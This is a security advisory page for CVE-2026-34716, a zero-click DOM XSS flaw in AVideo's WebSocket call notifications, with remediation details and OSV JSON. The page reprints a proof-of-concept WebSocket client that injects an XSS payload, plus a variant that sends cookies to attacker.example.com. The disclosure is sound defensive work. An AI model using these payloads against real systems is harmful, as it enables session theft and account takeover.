CVE-2026-34716: AVideo Cross-Site Scripting Vulnerability

MODERATE
Advisory Identifier: GHSA-w4hp-w536-jg64
CVSS 6.4
CWE-79
Published
Advisory Summary

CVE-2026-34716 is a MODERATE (CVSS 6.4) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting AVideo libraries in the Packagist ecosystem. The issue involves dom xss via unsanitized display name in websocket call notification. Remediation is available in the latest vendor maintenance releases.

CVE-2026-34716 at a Glance

CVE Identifier CVE-2026-34716
GHSA Identifier GHSA-w4hp-w536-jg64
Severity MODERATE
CVSS v3.1 Base Score 6.4
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product AVideo
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 6.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-34716

To remediate this vulnerability, upgrade all affected AVideo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

wwbn/avideo fixed: Latest secure release
Upgrade wwbn/avideo to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for wwbn/avideo

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-34716, inspect your project dependencies for AVideo:

inspect dependencies for wwbn/avideo

Analyze the terminal output to locate any version of AVideo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In AVideo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The AVideo YPTSocket plugin's caller feature renders incoming call notifications using the jQuery Toast Plugin, passing the caller's display name directly as the `heading` parameter. The toast plugin constructs the heading as raw HTML (`'<h2>' + heading + '</h2>'`) and inserts it into the DOM via jQuery's `.html()` method, which parses and executes any embedded HTML or script content. An attacker can set their display name to an XSS payload and trigger code execution on any online user's browser simply by initiating a call - no victim interaction is required beyond being connected to the WebSocket. ## Details When a call notification arrives via WebSocket, the caller's identity is extracted from the JSON message: ```javascript // plugin/YPTSocket/caller.js:73 userIdentification = json.from_identification; ``` This value is passed directly to the jQuery Toast Plugin as the heading: ```javascript // plugin/YPTSocket/caller.js:89 heading: userIdentification, ``` Inside the jQuery Toast Plugin, the heading is rendered as raw HTML: ```javascript // node_modules/jquery-toast-plugin/src/jquery.toast.js:60 // Constructs: '<h2>' + heading + '</h2>' // Then inserts via .html() ``` jQuery's `.html()` method parses the string as HTML and executes any script-bearing elements (such as `<img onerror>`, `<svg onload>`, etc.). There is a secondary injection vector in the same file where the full JSON message is placed inside a single-quoted `onclick` attribute: ```javascript // plugin/YPTSocket/caller.js:121-123 imageAndButton += '<button class="btn btn-danger btn-circle incomeCallBtn" onclick=\'hangUpCall(' + JSON.stringify(json) + ')\'><i class="fas fa-phone-slash"></i></button>'; if (isJsonReceivingCall(json)) { imageAndButton += '<button class="btn btn-success btn-circle incomeCallBtn" onclick=\'acceptCall(' + JSON.stringify(json) + ')\'><i class="fas fa-phone"></i></button>'; ``` `JSON.stringify(json)` is placed inside a single-quoted `onclick` attribute. If any field in `json` contains a single quote, it breaks the attribute boundary and allows attribute injection. ## Proof of Concept **Important note on the attack vector:** `User::setName()` at `objects/user.php:2069` uses `strip_tags()`, so the display name IS sanitized on the server side when set through the normal UI or API. However, the WebSocket server relays call messages as-is without server-side validation of the `from_identification` field. A malicious WebSocket client can send any `from_identification` value directly over the WebSocket protocol, bypassing the server-side sanitization entirely. The attack requires a custom WebSocket client, not the normal UI. **Step 1: Connect a malicious WebSocket client and send a forged call message** The following JavaScript connects directly to the AVideo WebSocket server and sends a call message with an XSS payload in the `from_identification` field: ```javascript // Malicious WebSocket client - bypasses server-side strip_tags() sanitization const ws = new WebSocket('wss://your-avideo-instance.com:8888'); ws.onopen = function() { // Send a forged call message with HTML in from_identification const payload = { msg: 'call', from_users_id: 1, to_users_id: VICTIM_USER_ID, from_identification: '<img src=x onerror=alert(document.cookie)>', resourceURL: 'https://your-avideo-instance.com/meet/123' }; ws.send(JSON.stringify(payload)); console.log('Forged call message sent'); }; ``` **Step 2:** When the victim receives the call notification, the toast renders `from_identification` as HTML via jQuery's `.html()`. The `<img>` tag triggers the `onerror` handler, executing JavaScript in the victim's browser context. More advanced payload for credential exfiltration: ```javascript // Credential exfiltration via forged WebSocket call const ws = new WebSocket('wss://your-avideo-instance.com:8888'); ws.onopen = function() { ws.send(JSON.stringify({ msg: 'call', from_users_id: 1, to_users_id: VICTIM_USER_ID, from_identification: '<img src=x onerror="fetch(\'https://attacker.example.com/log?\'+document.cookie)">', resourceURL: 'https://your-avideo-instance.com/meet/123' })); }; ``` Reproduction steps: 1. Identify the WebSocket server address for the target AVideo instance (typically port 8888). 2. Connect a custom WebSocket client to the server. 3. Send a call message with `from_identification` set to `<img src=x onerror=alert(document.cookie)>`. 4. Ensure a victim user is online and connected to the WebSocket (any authenticated page with YPTSocket loaded). 5. Observe the XSS payload executing in the victim's browser when the toast notification appears. No victim interaction is required. ## Impact This is a zero-click stored XSS vulnerability. The victim does not need to click anything - merely being connected to the WebSocket (which happens automatically on any authenticated page load) is sufficient for the attack to succeed. The attacker controls when the payload fires by initiating a call. Consequences include: - **Session hijacking**: Steal the victim's session cookie and impersonate them. - **Account takeover**: If the victim is an administrator, the attacker gains full platform control. - **Worm propagation**: The XSS payload can automatically change the victim's display name to the same payload and call other online users, creating a self-propagating worm. - **Keylogging and credential theft**: Inject persistent scripts that capture keystrokes on the current page. The attack is zero-click and can target any specific online user. - **CWE**: CWE-79 (Cross-Site Scripting - DOM-based) ## Recommended Fix HTML-escape the heading value before passing it to `$.toast()` at `plugin/YPTSocket/caller.js:89`: ```javascript heading: $('<span>').text(userIdentification).html(), ``` This uses jQuery's `.text()` to safely encode the user-controlled string, then extracts the escaped HTML via `.html()`. --- *Found by [aisafe.io](https://aisafe.io)*

CVE-2026-34716 Affected AVideo Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
wwbn/avideo
Packagist
≤ 26.0

References

Frequently Asked Questions

What is CVE-2026-34716?
CVE-2026-34716 is a security vulnerability in AVideo involving DOM XSS via Unsanitized Display Name in WebSocket Call Notification under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which AVideo versions are affected?
Affected versions include releases prior to current release patches across affected packages: wwbn/avideo.
What version fixes CVE-2026-34716?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is wwbn/avideo affected?
Yes, wwbn/avideo is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-34716?
CVE-2026-34716 has a CVSS v3.1 base score of 6.4 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N.
What CWE is associated with CVE-2026-34716?
CVE-2026-34716 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check Packagist dependencies for CVE-2026-34716?
Run the dependency tree command: 'inspect dependencies for wwbn/avideo'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-w4hp-w536-jg64",
  "modified" : "2026-04-01T20:54:51Z",
  "published" : "2026-04-01T20:54:51Z",
  "aliases" : [ "CVE-2026-34716" ],
  "summary" : "AVideo: DOM XSS via Unsanitized Display Name in WebSocket Call Notification",
  "details" : "## Summary\n\nThe AVideo YPTSocket plugin's caller feature renders incoming call notifications using the jQuery Toast Plugin, passing the caller's display name directly as the `heading` parameter. The toast plugin constructs the heading as raw HTML (`'<h2>' + heading + '</h2>'`) and inserts it into the DOM via jQuery's `.html()` method, which parses and executes any embedded HTML or script content. An attacker can set their display name to an XSS payload and trigger code execution on any online user's browser simply by initiating a call - no victim interaction is required beyond being connected to the WebSocket.\n\n## Details\n\nWhen a call notification arrives via WebSocket, the caller's identity is extracted from the JSON message:\n\n```javascript\n// plugin/YPTSocket/caller.js:73\nuserIdentification = json.from_identification;\n```\n\nThis value is passed directly to the jQuery Toast Plugin as the heading:\n\n```javascript\n// plugin/YPTSocket/caller.js:89\nheading: userIdentification,\n```\n\nInside the jQuery Toast Plugin, the heading is rendered as raw HTML:\n\n```javascript\n// node_modules/jquery-toast-plugin/src/jquery.toast.js:60\n// Constructs: '<h2>' + heading + '</h2>'\n// Then inserts via .html()\n```\n\njQuery's `.html()` method parses the string as HTML and executes any script-bearing elements (such as `<img onerror>`, `<svg onload>`, etc.).\n\nThere is a secondary injection vector in the same file where the full JSON message is placed inside a single-quoted `onclick` attribute:\n\n```javascript\n// plugin/YPTSocket/caller.js:121-123\nimageAndButton += '<button class=\"btn btn-danger btn-circle incomeCallBtn\" onclick=\\'hangUpCall(' + JSON.stringify(json) + ')\\'><i class=\"fas fa-phone-slash\"></i></button>';\nif (isJsonReceivingCall(json)) {\n    imageAndButton += '<button class=\"btn btn-success btn-circle incomeCallBtn\" onclick=\\'acceptCall(' + JSON.stringify(json) + ')\\'><i class=\"fas fa-phone\"></i></button>';\n```\n\n`JSON.stringify(json)` is placed inside a single-quoted `onclick` attribute. If any field in `json` contains a single quote, it breaks the attribute boundary and allows attribute injection.\n\n## Proof of Concept\n\n**Important note on the attack vector:** `User::setName()` at `objects/user.php:2069` uses `strip_tags()`, so the display name IS sanitized on the server side when set through the normal UI or API. However, the WebSocket server relays call messages as-is without server-side validation of the `from_identification` field. A malicious WebSocket client can send any `from_identification` value directly over the WebSocket protocol, bypassing the server-side sanitization entirely. The attack requires a custom WebSocket client, not the normal UI.\n\n**Step 1: Connect a malicious WebSocket client and send a forged call message**\n\nThe following JavaScript connects directly to the AVideo WebSocket server and sends a call message with an XSS payload in the `from_identification` field:\n\n```javascript\n// Malicious WebSocket client - bypasses server-side strip_tags() sanitization\nconst ws = new WebSocket('wss://your-avideo-instance.com:8888');\n\nws.onopen = function() {\n    // Send a forged call message with HTML in from_identification\n    const payload = {\n        msg: 'call',\n        from_users_id: 1,\n        to_users_id: VICTIM_USER_ID,\n        from_identification: '<img src=x onerror=alert(document.cookie)>',\n        resourceURL: 'https://your-avideo-instance.com/meet/123'\n    };\n    ws.send(JSON.stringify(payload));\n    console.log('Forged call message sent');\n};\n```\n\n**Step 2:** When the victim receives the call notification, the toast renders `from_identification` as HTML via jQuery's `.html()`. The `<img>` tag triggers the `onerror` handler, executing JavaScript in the victim's browser context.\n\nMore advanced payload for credential exfiltration:\n\n```javascript\n// Credential exfiltration via forged WebSocket call\nconst ws = new WebSocket('wss://your-avideo-instance.com:8888');\nws.onopen = function() {\n    ws.send(JSON.stringify({\n        msg: 'call',\n        from_users_id: 1,\n        to_users_id: VICTIM_USER_ID,\n        from_identification: '<img src=x onerror=\"fetch(\\'https://attacker.example.com/log?\\'+document.cookie)\">',\n        resourceURL: 'https://your-avideo-instance.com/meet/123'\n    }));\n};\n```\n\nReproduction steps:\n\n1. Identify the WebSocket server address for the target AVideo instance (typically port 8888).\n2. Connect a custom WebSocket client to the server.\n3. Send a call message with `from_identification` set to `<img src=x onerror=alert(document.cookie)>`.\n4. Ensure a victim user is online and connected to the WebSocket (any authenticated page with YPTSocket loaded).\n5. Observe the XSS payload executing in the victim's browser when the toast notification appears. No victim interaction is required.\n\n## Impact\n\nThis is a zero-click stored XSS vulnerability. The victim does not need to click anything - merely being connected to the WebSocket (which happens automatically on any authenticated page load) is sufficient for the attack to succeed. The attacker controls when the payload fires by initiating a call.\n\nConsequences include:\n\n- **Session hijacking**: Steal the victim's session cookie and impersonate them.\n- **Account takeover**: If the victim is an administrator, the attacker gains full platform control.\n- **Worm propagation**: The XSS payload can automatically change the victim's display name to the same payload and call other online users, creating a self-propagating worm.\n- **Keylogging and credential theft**: Inject persistent scripts that capture keystrokes on the current page.\n\nThe attack is zero-click and can target any specific online user.\n\n- **CWE**: CWE-79 (Cross-Site Scripting - DOM-based)\n\n## Recommended Fix\n\nHTML-escape the heading value before passing it to `$.toast()` at `plugin/YPTSocket/caller.js:89`:\n\n```javascript\nheading: $('<span>').text(userIdentification).html(),\n```\n\nThis uses jQuery's `.text()` to safely encode the user-controlled string, then extracts the escaped HTML via `.html()`.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wwbn/avideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "26.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-w4hp-w536-jg64"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34716"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-01T20:54:51Z",
    "nvd_published_at" : "2026-03-31T21:16:31Z"
  }
}